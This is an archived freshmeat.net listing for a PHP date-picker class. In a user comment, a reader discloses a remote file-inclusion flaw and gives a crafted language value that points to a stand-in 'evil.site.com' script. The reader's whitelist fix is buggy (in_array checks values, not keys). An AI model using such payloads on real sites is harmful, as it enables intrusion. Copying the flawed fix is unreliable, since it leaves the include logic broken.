fmII
Fri, Jul 25th home | browse | articles | contact | chat | submit | faq | newsletter | about | stats | scoop 17:10 UTC
in
Section
login «
register «
recover password «
[Project] add release | add branch | add screenshot | broken links | change owner | email subscribers | update project | update branch (urls) [Project]

 PHP Date Picker Class - Default branch
Section: Unix

 

Added: Tue, Sep 5th 2006 11:51 UTC (1 year, 10 months ago) Updated: Thu, Nov 15th 2007 10:31 UTC (8 months, 13 days ago)


Screenshot About:
PHP Date Picker Class will automatically generate the required HTML and JavaScript code that will make a pop-up window appear to let the user choose a date from a calendar. The selected date will be passed to a user-specified control from the calling page. Every aspect is customizable by modifying a template and a related CSS file. The format in which the date is returned, the default date and time period, and the first day of the week can be selected.

Author:
Stefan Gabos [contact developer]

Rating:
(not rated)

Homepage:
http://stefangabos.blogspot.com/[..]ra-php-component-framework-php-date.html

Trove categories: [change]
[Development Status]  5 - Production/Stable
[Environment]  Web Environment
[Intended Audience]  Developers
[License]  Free for non-commercial use, Free To Use But Restricted
[Operating System]  OS Independent
[Programming Language]  PHP
[Topic]  Software Development :: Libraries :: PHP Classes
[Translations]  Dutch, English, German

Dependencies: [change]
No dependencies filed

 
Project admins: [change]
» Stefan Gabos (Owner)

» Rating: (not rated)
» Vitality: 0.00% (Rank 7896)
» Popularity: 0.76% (Rank 7700)

project statsdownload stats
(click to enlarge graphs)
   Record hits: 14,466
   URL hits: 3,940
   Subscribers: 11

Other projects from the same categories:
PHP Image Manipulation Class
Mach-II
PEAR Validate
dom xml class
Access_user Class

Users who subscribed to this project also subscribed to:
Phatch
DokuWiki
Open Flash Chart
NmnLogger
rbmyxml


Add comment · Rate this project · Subscribe to new releases · Ignore this project · Email this project to a friend · Project record in XML

 Branches

Branch Version Last release License URLs
Default 1.0.7 15-Nov-2007 Free To Use But Restricted Homepage

 Comments

[»] Code needs Security
by tobozo - Oct 12th 2006 03:41:29

Very nice work, however the code in datepicker.php seems to trust user input a bit too much.

include_once("../languages/".$_POST["language"].".php");


On some platforms, what would happen if some crafted html form was submitted with a value like this one : %00http://www.evil.site.com/evil.script ?


quickfix :

Validate any single data coming from the wild. There are a few methods to do this depending on what you need from this data.


$langs = array(
'default' => 'english.php',
'english' => 'english.php',
'french' => 'french.php
(...)
);

if(!in_array($_POST['language'], $langs)) {
$language = $langs['default'];
} else {
$language = $langs[$_POST['language']];
}
include_once("../languages/".$language);


methods for validating numbers :


$myNumber = sprintf('%02d', $_GET['myNumber']);


also works (dirty) :


$myNumber = (int)$_GET['myNumber'];


hope this helps

tobozo

[reply] [top]




© Copyright 2008 SourceForge, Inc., All Rights Reserved.
About freshmeat.net •  Privacy Statement •  Terms of Use •  Trademark Guidelines •  Advertise •  Contact Us • 
ThinkGeek •  Slashdot  •  Linux.com •  SourceForge.net  •  Jobs